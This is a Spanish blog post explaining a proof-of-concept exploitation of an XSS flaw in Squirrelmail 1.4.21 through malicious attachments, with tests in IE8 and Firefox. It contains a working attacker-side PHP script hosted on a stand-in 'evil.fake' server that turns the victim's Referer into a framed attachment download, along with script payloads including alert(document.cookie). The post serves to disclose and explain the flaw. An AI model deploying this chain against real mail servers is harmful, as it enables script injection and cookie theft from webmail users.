domingo, febrero 06, 2011

Explotación del XSS de Squirrelmail usando ficheros adjuntos

Como tras la publicación del post con el XSS de Squirrelmail 1.4.21 quedaron algunas dudas, se ha escrito este artículo para mostrar su funcionamiento en diferentes entornos de ejecución.

Modificación del fichero del servidor

Primeramente se modifica el fichero r.php usado en las pruebas anteriores. El fichero está ubicado en un servidor web llamado “evil.fake”

Contenido de “r.php”
<?php
if (isset($_SERVER['HTTP_REFERER'])) {
$referer= $_SERVER['HTTP_REFERER'];
echo '<h1>' . $referer . '</h1>' ;
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
$url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=2&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=100% height=100%></iframe>';
} else {
echo 'No Referer';
}
?>


Solo se ha cambiado el “ent_id” de la URL que se carga en el IFRAME. Con “ent_id=1” se descarga el cuerpo del mensaje; con “ent_id=2”, su primer adjunto. En las siguientes pruebas, los ficheros “1.txt” y “1.htm” tienen el mismo contenido: <script>alert('XSS')</script>

Ejecución en un entorno con Internet Explorer 8

El usuario recibe el siguiente mensaje:


Figura 1: Mensaje enviado a IE8

El adjunto se llama “1.txt”, un nombre poco sospechoso. Cuando el usuario hace clic en el enlace, el script que contiene se ejecuta:


Figura 2: Ejecución del XSS en IE8


Ejecución en Firefox 3.6.13 sobre Windows

Se recibe el siguiente mensaje:


Figura 3: Mensaje recibido abierto co Firefox

Si se hace clic en el enlace, sale lo siguiente:


Figura 4: El XSS no se ejecuta

No se ejecuta el Script. De hecho, si se invoca directamente la URL del IFRAME:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?mailbox=INBOX&passed_id=4&ent_id=2

se produce el siguiente mensaje:



Figura 5: XSS no ejecutado

Hay una diferencia entre Firefox e IE a la hora de procesar los archivos: IE mira el contenido del documento, determina a qué tipo pertenece (independientemente de su extensión y otras informaciones que pueda tener) y actúa en consecuencia. Esto hace posible la ejecución de un script contenido en un fichero con extensión txt.

Sin embargo, Firefox utiliza la extensión del archivo para determinar su tipo. Si la extensión es txt, simplemente muestra su contenido sin realizar ninguna otra operación.

¿Qué ocurre si la extensión del fichero es htm?


Figura 6: Correo con .html adjunto

Al hacer clic sobre el enlace…


Figura 7: Ahora sí se ejecuta el script

Ejecuión en Firefox 3.6.13 sobre Ubuntu 10.10

En este caso, el archivo “a.htm” ejecuta un “alert(document.cookie).


Figura 8: Correo enviado abierto en Firefox sobre Ubuntu

La URL del mensaje (que está en un marco) es:
http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1


Figura 9: Url en el marco

Si se visita la siguiente URL:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?passed_id=1&mailbox=INBOX&ent_id=2

Entonces…


Figura 10: Script ejecutado

Autor: Enrique Rando

1 comentario:

Anónimo dijo...

Buen post!
Soy el anonimo que dijo que no ejecutaba el script en chrome. Ahora ya me ha quedado claro que es lo que pasaba, gracias ;)

Entradas populares